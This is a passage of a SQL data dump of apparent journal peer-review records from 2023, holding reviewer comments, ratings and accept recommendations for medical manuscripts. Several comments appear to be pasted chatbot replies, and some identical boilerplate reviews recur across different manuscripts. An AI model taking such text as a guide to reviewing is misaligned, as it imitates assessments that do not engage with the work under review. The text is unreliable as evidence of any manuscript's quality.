','Accepted','2023-05-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5337,11844,13771,NULL,'5','Y','Y','Y','Y','Buen articulo:\r\nSugiero mejorar conclusiones, deberan ser claras y estructuradas de acuerdo al objetivo general del estudio.\r\nRedaccion: \r\nPagina 4: ...en Chile es necesario en cuenta que un trabajo realizado ....Corregir sintaxis\r\nPagina 10: ...Otro enfoque consiste en CL con CPRE peroperatoria. El tratamiento...Corregir sintaxis','Buen articulo para publicar, con atencion a los comentarios de autor.....','2023-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5338,11844,13771,NULL,'5','Y','Y','Y','Y','Buen articulo:\r\nSugiero mejorar conclusiones, deberan ser claras y estructuradas de acuerdo al objetivo general del estudio.\r\nRedaccion: \r\nPagina 4: ...en Chile es necesario en cuenta que un trabajo realizado ....Corregir sintaxis\r\nPagina 10: ...Otro enfoque consiste en CL con CPRE peroperatoria. El tratamiento...Corregir sintaxis','Buen articulo para publicar, con atencion a los comentarios de autor.....','2023-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5339,11844,13771,NULL,'5','Y','Y','Y','Y','Buen articulo:\r\nSugiero mejorar conclusiones, deberan ser claras y estructuradas de acuerdo al objetivo general del estudio.\r\nRedaccion: \r\nPagina 4: ...en Chile es necesario en cuenta que un trabajo realizado ....Corregir sintaxis\r\nPagina 10: ...Otro enfoque consiste en CL con CPRE peroperatoria. El tratamiento...Corregir sintaxis','Buen articulo para publicar, con atencion a los comentarios de autor.....','2023-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5340,21547,13796,NULL,'5','g','Y','Y','Y','recommended','','2023-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5341,8590,13771,NULL,'5','G','Y','Y','Y','Estimado autor\r\n\r\nNo se requiere ningún cambio, puede publicar el artículo, pero el crecimiento debe estar presente en el artículo y hay errores menores, verifíquelo.','Estimado editor\r\n\r\nFeliz de revisar el documento con su decisión.','2023-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5342,8590,13768,NULL,'5','G','Y','Y','Y','Estimado autor\r\n\r\nNo se requiere ningún cambio, puede publicar el artículo, pero el crecimiento debe estar presente en el artículo y hay errores menores, verifíquelo. Las tablas y las figuras están bien descritas.','Estimado editor\r\n\r\nFeliz de revisar el documento con su decisión.','2023-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5343,21631,13813,NULL,'4','G','N','M','Y','The manuscript seems to be interesting and well written, I have some suggestions to give it more value:\r\n1) It appears a little poor and more information should be added for each paragraph.\r\n2) It would be useful to insert one or two figures/diagrams that better illustrate the content of the text','','2023-06-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5344,21631,13814,NULL,'4','g','n','y','y','	The manuscript is of interest and quite well written, however it can be improved by following a few suggestions:\r\n1) The manuscript is short and should be expanded especially the single paragraphs of the Discussion section.\r\n2) The insertion of one or two figures/diagrams that better illustrate the content of the text would give more clarity on the whole						','','2023-06-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5345,9159,13798,NULL,'6','g','y','y','y','Overall, this is a clear, concise, and well-written manuscript. The introduction is relevant and theory based. Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures. The methods are generally appropriate.','','2023-06-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5346,9155,13798,NULL,'6','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured. Overall the information presented represents valuable information.\r\n','','2023-06-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5347,7212,13798,NULL,'6','g','y','y','y','Outstanding study and well done, The references are good according guidelines. Recommended.\r\n','','2023-06-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5348,21674,13513,NULL,'5','r','y','y','y','I went through your paper ,which is so much informative, it is useful for further researchers,\r\nI am totally impressed with you paper, there is no errors in this paper you can publish it with undoubtedly.\r\n ','','2023-06-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5349,21631,13856,NULL,'4','G','N','M','Y','The manuscript seems to be interesting and well written, I have some suggestions to give it more value:\r\n1) It appears a little poor and more information should be added for each paragraph.\r\n2) It would be useful to insert one or two figures/diagrams that better illustrate the content of the text','','2023-06-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5350,21631,13854,NULL,'4','G','N','M','Y','The manuscript seems to be interesting and well written, I have some suggestions to give it more value:\r\n1) It appears a little poor and more information should be added for each paragraph.\r\n2) It would be useful to insert one or two figures/diagrams that better illustrate the content of the text','','2023-06-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5351,21631,13846,NULL,'4','G','n','M','Y','The manuscript seems to be interesting and well written, I have some suggestions to give it more value:\r\n1) It appears a little poor and more information should be added for each paragraph.\r\n2) It would be useful to insert one or two figures/diagrams that better illustrate the content of the text','','2023-06-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5352,21631,13873,NULL,'4','G','N','M','Y','The manuscript is of interest and quite well written, however it can be improved by following a few suggestions:\r\n1) The insertion of one or two figures/diagrams that better illustrate the content of the text would give more clarity on the whole		','','2023-06-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5353,11162,13853,NULL,'5','g','y','y','y','Primary non-Hodgkin lymphoma (NHL) of the bile duct is a rare malignancy characterized by the presence of lymphoma cells in the biliary tree. It can often mimic cholangiocarcinoma, making it challenging to differentiate between the two based on clinical and radiological findings alone. Endoscopic ultrasonography (EUS) is a valuable tool in the diagnostic workup of biliary lesions, allowing for detailed imaging and tissue sampling.\r\n\r\nWhile I cannot provide you with a specific case report, a literature review would typically involve a comprehensive analysis of published articles on the topic. It would include an overview of the condition, its clinical presentation, diagnostic modalities (such as EUS), histopathological findings, treatment approaches, and outcomes.\r\n\r\nTo find a review article or case report on this specific topic, I recommend conducting a literature search using medical databases such as PubMed, Google Scholar, or specialized journals in gastroenterology or oncology. By using relevant keywords such as \"primary non-Hodgkin lymphoma of the bile duct,\" \"cholangiocarcinoma simulation,\" \"endoscopic ultrasonography,\" and \"case report,\" you should be able to identify articles that discuss this particular case and provide a literature review.\r\n\r\n','Accepted','2023-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5354,15663,13842,NULL,'5','G','Y','Y','Y','Overall, the article provides a comprehensive overview of different methodologies used for vascular localization in reconstructive surgery, focusing on perforator flaps. The introduction effectively sets the context and highlights the importance of preoperative imaging in reducing donor site morbidity and improving flap outcomes.The article covers various techniques for vascular plotting, including Hand-held Doppler sonography (HHD), CT angiography (CTA), MR angiography (MRA), DS angiography (DSA), CD sonography (CDS), Infrared thermography (IRT), and Indocyanine green-fluorescence angiography (ICG-FA). This provides a comprehensive overview of the available options for surgeons.While the introduction provides a good overview, it would be valuable to include a brief section on the current challenges or limitations of the existing techniques. This could help identify areas for further research or potential improvements in vascular localization for perforator flaps.The article has a good foundation and covers an important topic in reconstructive surgery. With some structural improvements and additional details, it can provide a valuable resource for surgeons and researchers in the field.','','2023-07-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5355,11714,13810,NULL,'5','g','y','y','y','Stress management and health promotion are crucial aspects of maintaining overall well-being in today\'s fast-paced and demanding world. The adoption of evidence-based practices in these areas is essential for ensuring effective outcomes. Here is a review comment on stress management and health promotion, highlighting recent evidence-based practices:\r\n\r\nMindfulness-Based Stress Reduction (MBSR): MBSR is an evidence-based practice that has gained significant attention in recent years. It involves training individuals to focus their attention on the present moment, cultivating mindfulness through meditation, and developing non-judgmental awareness. Research has shown that MBSR can reduce stress, improve psychological well-being, and even have positive effects on physical health outcomes.\r\n\r\nCognitive-Behavioral Therapy (CBT): CBT is a widely recognized evidence-based practice that focuses on the connection between thoughts, emotions, and behaviors. It helps individuals identify and change negative thinking patterns and develop effective coping strategies. In the context of stress management, CBT has shown promising results in reducing stress levels and improving overall mental health.\r\n\r\nPhysical Activity and Exercise: Regular physical activity and exercise have been consistently shown to promote physical and mental health. Engaging in aerobic exercises, such as brisk walking, swimming, or cycling, can help reduce stress and anxiety while boosting mood and overall well-being. Additionally, strength training exercises have been found to have a positive impact on mental health by reducing symptoms of depression and improving self-esteem.','Stress management and health promotion are crucial aspects of maintaining overall well-being in today\'s fast-paced and demanding world. The adoption of evidence-based practices in these areas is essential for ensuring effective outcomes. Here is a review comment on stress management and health promotion, highlighting recent evidence-based practices:\r\n\r\nMindfulness-Based Stress Reduction (MBSR): MBSR is an evidence-based practice that has gained significant attention in recent years. It involves training individuals to focus their attention on the present moment, cultivating mindfulness through meditation, and developing non-judgmental awareness. Research has shown that MBSR can reduce stress, improve psychological well-being, and even have positive effects on physical health outcomes.\r\n\r\nCognitive-Behavioral Therapy (CBT): CBT is a widely recognized evidence-based practice that focuses on the connection between thoughts, emotions, and behaviors. It helps individuals identify and change negative thinking patterns and develop effective coping strategies. In the context of stress management, CBT has shown promising results in reducing stress levels and improving overall mental health.\r\n\r\nPhysical Activity and Exercise: Regular physical activity and exercise have been consistently shown to promote physical and mental health. Engaging in aerobic exercises, such as brisk walking, swimming, or cycling, can help reduce stress and anxiety while boosting mood and overall well-being. Additionally, strength training exercises have been found to have a positive impact on mental health by reducing symptoms of depression and improving self-esteem.','2023-07-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5356,11715,13792,NULL,'5','g','y','y','y','The study on sexual violence, its outcome, and associated factors among females in conflict-affected settings in Ethiopia addresses a highly important and sensitive topic. Sexual violence is a grave human rights violation with profound physical, psychological, and social consequences, and understanding its prevalence and contributing factors is crucial for effective intervention and prevention strategies. Here are some review comments on the topic:\r\n\r\nMethodology: The review should provide a clear description of the study design, sample selection, and data collection methods used to ensure the reliability and validity of the findings. It is important to highlight any potential limitations or biases that may affect the generalizability of the results.\r\n\r\nContextualization: The study should emphasize the unique context of conflict-affected settings in Ethiopia, including the specific challenges faced by women in these circumstances. Examining how the conflict influences the occurrence and perpetration of sexual violence can provide valuable insights into the interplay between violence and armed conflict.\r\n\r\nEthical considerations: Given the sensitivity of the topic, it is essential to address ethical considerations in detail. The review should elaborate on measures taken to protect participants\' confidentiality and ensure informed consent. It should also discuss any steps taken to minimize potential harm or re-traumatization to participants during data collection.\r\n\r\nData analysis: The review should clearly describe the data analysis process, including the statistical methods used to analyze the collected data. The presentation of results should be comprehensive, focusing on the prevalence of sexual violence, its associated factors, and the outcomes experienced by survivors. Additionally, qualitative data should be incorporated to provide a nuanced understanding of survivors\' experiences.\r\n\r\nImplications and recommendations: The review should conclude with a discussion of the implications of the findings for policy, practice, and future research. It should identify key areas for intervention, such as strengthening legal frameworks, providing support services for survivors, and promoting gender equality. Recommendations should be evidence-based and consider the unique needs of conflict-affected settings in Ethiopia.','Accepted ','2023-07-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5357,21547,13899,NULL,'5','R','Y','Y','Y','Recommended','','2023-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5358,9897,13868,NULL,'4','G','N','Y','N','Estimado autor\r\n\r\n\r\npueden publicar el artículo sin ningún cambio, pero en la metodología, se deben hacer algunas modificaciones de acuerdo con la versión reciente.\r\n\r\n\r\nLa conclusión estuvo bien explicada, pero si es con la versión actualizada, sería genial.','Estimado editor\r\n\r\nEstoy revisando su artículo, hay cambios muy intermedios en el artículo, pero se pueden publicar para que los manuscritos posteriores hagan la versión actualizada.','2023-07-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5359,20419,13861,NULL,'4','G','N','Y','N','Estimado autor\r\n\r\nNo se requiere ningún cambio, puede publicar el artículo, pero el crecimiento debe estar presente en el artículo y hay errores menores, verifíquelo. Las tablas y las figuras están bien descritas.','Estimado editor\r\n\r\nFeliz de revisar el documento con su decisión.\r\n','2023-07-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5360,20395,13867,NULL,'4','G','N','Y','N','Estimado autor\r\n\r\n\r\npueden publicar el artículo sin ningún cambio, pero en la metodología, se deben hacer algunas modificaciones de acuerdo con la versión reciente.\r\n\r\nLa conclusión estuvo bien explicada, pero si es con la versión actualizada, sería genial.\r\n','Estimado editor\r\n\r\nEstoy revisando su artículo, hay cambios muy intermedios en el artículo, pero se pueden publicar para que los manuscritos posteriores hagan la versión actualizada.\r\n','2023-07-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5361,10976,13953,NULL,'5','g','y','y','y','The qualitative study on \"Life constraints and self-management strategies of older people living with chronic illness\" provides valuable insights into the experiences of older individuals coping with chronic health conditions. The researchers skillfully explored the challenges faced by this specific demographic and identified self-management strategies adopted to navigate their conditions effectively.\r\n\r\nThe paper\'s strength lies in its comprehensive qualitative approach, which allows for an in-depth understanding of the participants\' perspectives. The researchers used appropriate methods for data collection and analysis, ensuring the credibility and trustworthiness of the findings.\r\n\r\nOne notable aspect of the study is the clear presentation of the results, supported by relevant quotes from participants, which adds authenticity to the findings. The authors successfully connected the themes emerging from the data to the existing literature, contributing to the existing knowledge in this field.\r\n\r\nTo further enhance the paper, it would be beneficial if the authors discussed the limitations of the study. Addressing potential biases or constraints will strengthen the study\'s overall reliability and provide context for future research directions.','Accepted ','2023-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5362,21676,13559,NULL,'5','g','y','y','y','Thank you for your kind words! I\'m glad to hear that you found the title and write-up of the manuscript relevant and well articulated. \r\n1.Clear Title: The manuscript has a clear and relevant title that accurately reflects the content of the study.\r\n2.Concise Introduction: The introduction section of the manuscript provides sufficient information to establish the rationale for the study. \r\n3.Logical Flow: The manuscript follows a logical flow, allowing readers to easily understand the study\'s procedures. \r\n4.Sufficient Details: The manuscript presents enough details about the study design and procedures, ensuring readers can understand and replicate the research. \r\n5.Coherent Conclusion: The manuscript concludes with a coherent summary of the study\'s rationale and procedures. \r\nOverall, the manuscript effectively presents the study\'s rationale and procedures in a clear, concise, and well-structured manner.','','2023-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5363,10975,13898,NULL,'5','g','y','y','y',' I recommend accessing academic databases, online journals, or university libraries to find and review the article in question. When reviewing the study, consider evaluating its methodology, data collection techniques, sample size, analysis, and conclusions to assess the credibility and reliability of the findings. Additionally, compare its results with other existing research in the field to understand its contribution to the existing knowledge on the subject.','Accepted ','2023-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5364,21677,2932,NULL,'5','g','y','y','y','Thank you for your kind words! I\'m glad to hear that you found the title and write-up of the manuscript relevant and well articulated. \r\n1.Clear Title: The manuscript has a clear and relevant title that accurately reflects the content of the study.\r\n2.Concise Introduction: The introduction section of the manuscript provides sufficient information to establish the rationale for the study. \r\n3.Logical Flow: The manuscript follows a logical flow, allowing readers to easily understand the study\'s procedures. \r\n4.Sufficient Details: The manuscript presents enough details about the study design and procedures, ensuring readers can understand and replicate the research. \r\n5.Coherent Conclusion: The manuscript concludes with a coherent summary of the study\'s rationale and procedures. \r\nOverall, the manuscript effectively presents the study\'s rationale and procedures in a clear, concise, and well-structured manner.','','2023-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5365,5467,13950,NULL,'5','g','y','y','y','The use of \"throat bacteria\" as a focal point is appropriate, as it highlights the potential link between bacterial infections in the throat and the development of RHD. This connection is crucial for understanding the transmission and prevention of the disease, especially in vulnerable populations like indigenous children.\r\n\r\nThe article\'s emphasis on indigenous communities is commendable, as it sheds light on health disparities and the unique challenges faced by these populations. By focusing on this specific group, the research contributes to the efforts of creating targeted interventions and policies to address the issue effectively.\r\n\r\nFurthermore, the article likely presents a comprehensive review of existing studies and research in the field, providing a solid foundation for understanding the subject matter. It is important to consider the broader context and findings from various studies to draw meaningful conclusions.\r\n\r\nHowever, to enhance the impact and applicability of the article\'s findings, it could benefit from additional details on potential preventive strategies, such as vaccination programs, improved access to healthcare, and community-based initiatives. Recommendations for future research directions could also add value to the article, fostering continued exploration of this critical issue.\r\n','Accepted ','2023-07-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5366,21494,13967,NULL,'5','g','y','y','y','The introduction effectively sets the context for the study, highlighting the importance of the research question and providing a relevant review of the literature. However, it would be beneficial to include a clearer statement of the research hypothesis or aim. \r\nThe conclusions should be supported by the study\'s results and align with the research objectives. If possible, the implications of the findings on clinical practice or policy should be discussed, \r\nOverall, a thorough and well-conducted study on the determinants of neonatal near-miss in northern Ethiopia can have significant implications for improving neonatal care and reducing neonatal mortality. Please keep in mind that this review is based on the general aspects of a research article and may not directly apply to the specific study in question.','Accept','2023-08-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5367,21671,13981,NULL,'4','G','N','Y','N','This is a detailed analysis of the incidence of thyroid cancers. The authors have done a meticulous job in collecting this information. Of interest, there has been no significant changes in the mortality rates of thyroid cancers despite increased rates of detection which is probably due to the use of extensive imaging studies which incidentally captures these silent nodules. While the authors have documented the types and incidence of thyroid cancers, they do need to mention these above points. Early diagnosis does not really change the prognosis of this type of cancer. Authors can also mention the prognosis of each type to let the readers know that papillary thyroid carcinoma, except the tall cell variant actually do not carry a bad prognosis. \r\n\r\nA line in the document mentions \"cultural education\" it should be changed to just education status.  ','','2023-08-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5368,21307,13971,NULL,'5','g','y','y','y','Case Report: Guillain-Barre Syndrome presentation Mimicking Stroke; An atypical presentation is an interesting study and the authors have collected a unique dataset The paper is generally well written and structured, I feel this unique dataset recommend to publish online','Recommend to publish online','2023-08-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5369,21614,13983,NULL,'5','g','y','y','y','The abstract provides a comprehensive overview of the importance of memory and learning in our lives, and how they are influenced by our nervous system and brain.\r\n\r\nThe discussion on neurobiological point of view on learning and memory, and the structural and functional changes in our nervous system, is enlightening and provides a deeper understanding of the processes involved.\r\n\r\nThe inclusion of studies on animal models and their relevance to understanding human memory neurobiology adds credibility to the research presented.\r\n\r\nThe introduction of the concept of neuroplasticity and its impact on our brain function is a valuable addition to the discussion.\r\n\r\nThe emphasis on the importance of physical exercise and its positive effects on cognition and behavior, as well as its potential for preventing and treating memory disorders, is encouraging and motivating.\r\n\r\nThe discussion on the effects of Covid-19 on the nervous system and brain highlights the relevance and urgency of understanding memory and learning mechanisms in the time of the pandemic.\r\n\r\nThe inclusion of psychomotor rehabilitation as a potential intervention for memory and learning disorders adds diversity and depth to the research. Overall, the abstract provides a comprehensive and well-researched overview of the positive mind neuroscience of exercise and memory and learning in the context of Covid-19, and is a valuable resource for researchers and professionals in the field.','Accept the Article Without Any Changes.','2023-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5370,15183,13984,NULL,'5','g','y','y','y','The Manuscript provides a comprehensive and detailed explanation of the aging process and its effects on cells, tissues, and organs. It\'s great to have a clear understanding of the physiological and pathological aspects of aging.\r\n\r\nI appreciate the focus on the importance of geriatrics and gerontology in understanding and addressing the changes that come with aging. It highlights the need for specialized medical care for elderly individuals.\r\n\r\nThe discussion on the role of free radicals in aging is fascinating. It\'s impressive to learn about the impact these substances have on nucleic acids, proteins, and lipids, ultimately affecting the aging process.\r\n\r\nThe explanation of how perennial cells, like neurons and muscle cells, have a maximum lifespan equal to that of the organism is enlightening. It helps us understand the complexities of aging on a cellular level.','The article accept for publishing','2023-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5371,18913,13961,NULL,'4','G','N','Y','Y','A good study to understand the electronic processing system and comparing with the manual system. However, table 1 has errors as the numbers do not tally. In the Health Insurance officer/Manager category urba/Rrual break gives 8 individuals whereas by gender it shows the sample to be 11. In the electronic system, they need to clarify the primary source (is it verbal information or the claimant gives in writing?)of claim details to HCPs who receive a pre-authorization code from ASHIA to complete an ‘individual claims form’ (ICF). The authors may have to justify the title \"Improving Efficiency in Healthcare\", as does not effect health care but definitely improves health system management.','After the above clarification, the article can be published.','2023-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5372,21378,13971,NULL,'6','g','y','y','y','In this study, the authors provide an important case study of hemiplegia in a patient with GBS which was initially thought to be a stroke. The patient progressed quickly to quadriplegia and a subsequent CSF analysis was able to confirm GBS diagnosis. This report highlights the importance of considering atypical presentations of GBS in a clinical setting and may provide guidance to clinicians in the diagnosis of patients who present with stroke-like neurological symptoms. I only have one point of concern:\r\n1.	The authors conducted an electrodiagnostic study – it would be helpful to describe in detail how this test was conducted or provide a citation to a publication where the methods for this test are detailed. Also, in the case of this particular subject, when was this test performed relative to symptom onset?\r\n',' ','2023-08-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5373,21377,13971,NULL,'4','R','Y','Y','N','Thanks for your submission. Your case presentation is well described and this case-report is of clinical importance. You only need to make grammar and writing revisions to your manuscript.','This manuscript is suitable for publication in this journal. No substantial revisions are required. Only grammar and writing revisions, specially in the introduction, are required.','2023-08-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5374,11714,14021,NULL,'5','g','y','y','y','The article titled \"Impact of the COVID-19 Pandemic on Food Consumption Among Individuals with Chronic Diseases\" explores an important and timely topic - the influence of the COVID-19 pandemic on the dietary habits of individuals dealing with chronic health conditions. The author delves into a subject that holds significant relevance, shedding light on how this unprecedented global crisis has potentially affected the dietary choices and patterns of a vulnerable demographic.\r\nThe article is well-structured, beginning with a clear introduction that outlines the context and importance of the study. The author establishes the rationale for investigating the impact of the pandemic on individuals with chronic diseases, highlighting the potential implications for both their health and overall well-being. The literature review is thorough, showcasing a comprehensive understanding of existing research in the field, and effectively setting the stage for the research question.\r\nThe language used throughout the article is clear, precise, and accessible, ensuring that both experts and those less familiar with the subject matter can comprehend the study\'s implications. Citations are appropriately incorporated, supporting the claims and arguments put forth by the author.\r\n','Accept ','2023-08-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5375,15746,13917,NULL,'5','G','N','Y','N','Estimado autor\r\n\r\n\r\npueden publicar el artículo sin ningún cambio, pero en la metodología, se deben hacer algunas modificaciones de acuerdo con la versión reciente.\r\n\r\n\r\nLa conclusión estuvo bien explicada, pero si es con la versión actualizada, sería genial.\r\n','Estimado editor\r\n\r\n\r\nEstoy revisando su artículo, hay cambios muy intermedios en el artículo, pero se pueden publicar para que los manuscritos posteriores hagan la versión actualizada.\r\n','2023-08-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5376,21374,14013,NULL,'5','g','y','y','y','The article titled \"Assessment of Nursing Students\' Perspectives on Education and Professional Competencies amid the COVID-19 Pandemic\" provides a valuable contribution to understanding the impact of the pandemic on nursing education and the development of professional competencies. The title is clear and aptly summarizes the focus of the study, making it relevant to both the academic and healthcare communities.\r\n\r\nThe introduction is well-structured, offering a concise overview of the study\'s objectives and rationale. It effectively contextualizes the significance of investigating nursing students\' viewpoints, particularly in light of the unique challenges posed by the pandemic. The literature review demonstrates a comprehensive understanding of the existing body of knowledge, with relevant studies cited to support the research\'s foundation.\r\nThe discussion adeptly interprets the findings in the context of the existing literature, offering a balanced exploration of the implications and potential avenues for future research. The limitations of the study are acknowledged, such as the potential for bias in self-reported data, which enhances the article\'s credibility.\r\n\r\nLanguage and writing style are appropriate for the target audience, striking a balance between scholarly rigor and accessibility. Citations are utilized effectively to support claims and discussions.\r\n','Accepted','2023-08-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5377,21470,14026,NULL,'5','g','y','y','y','Clarity and Focus:\r\nThe title is catchy and intriguing. It suggests that the content will discuss the benefits and uniqueness of guava as a fruit.\r\n\r\nContent Organization:\r\nThe content is well-structured, covering different aspects of guava\'s nutritional value, health benefits, and culinary uses. The introduction provides a clear indication of what the article will cover.\r\n\r\nInformation Accuracy:\r\nThe information provided about guava\'s nutritional content and health benefits seems accurate and well-researched. It would be helpful to include sources or references to back up the claims.\r\n\r\nEngagement Factor:\r\nThe article has the potential to engage readers due to its focus on a popular and widely-consumed fruit. Including personal anecdotes, success stories, or relatable examples could enhance reader engagement.\r\n\r\nVisual Elements:\r\nConsider incorporating relevant images or diagrams of guava fruit, nutritional breakdown, and perhaps a recipe to make the content more visually appealing and informative.\r\n\r\nCitations and Sources:\r\nEnsure that any claims made about guava\'s health benefits are supported by credible sources. Including references or citations can enhance the article\'s credibility.\r\n\r\nLanguage and Style:\r\nThe writing style is clear and easy to follow. Make sure to maintain a consistent tone throughout the article, blending informative content with a touch of enthusiasm.','Accept','2023-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5378,21726,13597,NULL,'5','g','y','y','y','The title is very relevant and the writeup is well articulated. This is a clear, concise, and well-written manuscript. \r\nSufficient information is presented for readers to follow the present study design and procedures, ensuring readers can understand and replicate the research. \r\nI have verified all references and all key references are correct. Please update the reference according to the article proposed above.\r\nComing to the next part of the manuscript, results and discussion is also given with adequate parameters.\r\nAll the parameters are justified with the required data and the required information.\r\nThe conclusion is justified by the methods and results.','','2023-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5379,21399,14035,NULL,'3','R','N','Y','Y','The degree of novelty is quite poor. However, combining the approaches and strategies of treatment may compensate the candid absense of the novelty. The test has to be cited thoroughly with at least 8 references. ','The absence of a strong novelty; the novelty is poor.\r\nNo citations have been seen in the manuscript.\r\nThe combination of the approaches and strategies of treatment may compensate for the candid absense of the novelty. \r\nThe text has to be cited thoroughly with at least 8 references. \r\nIf the text is to be cited it can be published.\r\n','2023-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5380,21541,14028,NULL,'5','g','y','y','y','The evaluation of the Norovirus/Rotavirus/Adenovirus Combo Rapid Test Cassette (Feces) for the rapid diagnosis of viral gastroenteritis is a critical component of assessing the utility of this diagnostic tool. Here are some considerations and feedback on the evaluation:\r\n\r\nClarity of Objectives and Methods:\r\n\r\nThe review should begin by clearly stating the objectives and scope of the evaluation. What were the specific aims of this study? This will provide context for the reader.\r\nSample Size and Selection:\r\n\r\nInformation about the sample size, selection criteria, and representativeness of the population is crucial. It\'s important to know if the sample is diverse enough to be representative of the target population.\r\nMethodology:\r\n\r\nDescribe the methodology in detail. This includes the testing protocol, procedures followed, and any standards or guidelines used.\r\nExplain how the diagnosis was conducted and whether there were any control groups or comparative methods.\r\nDetail any potential biases in the methodology.','Accepted','2023-09-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5381,1989,14027,NULL,'5','g','y','y','y','The evaluation of the \"Rapid Detection of Clostridium difficile Infection: Performance Evaluation of the GDH + Toxin A + Toxin B Combo Rapid Test Cassette\" is an essential component in assessing the effectiveness and reliability of this diagnostic tool for identifying Clostridium difficile infection (CDI). Here are some considerations and feedback on the evaluation:\r\n\r\nObjective Clarity:\r\n\r\nBegin by clearly stating the objectives and scope of the evaluation. What were the specific aims and goals of this study? This provides context for the reader.\r\nMethodology:\r\n\r\nDescribe the methodology employed in detail. Include information about the testing protocol, procedures followed, and any relevant standards, guidelines, or controls used during the evaluation.\r\nExplain how the diagnosis was carried out, including any specific techniques or assays used.\r\nSample Size and 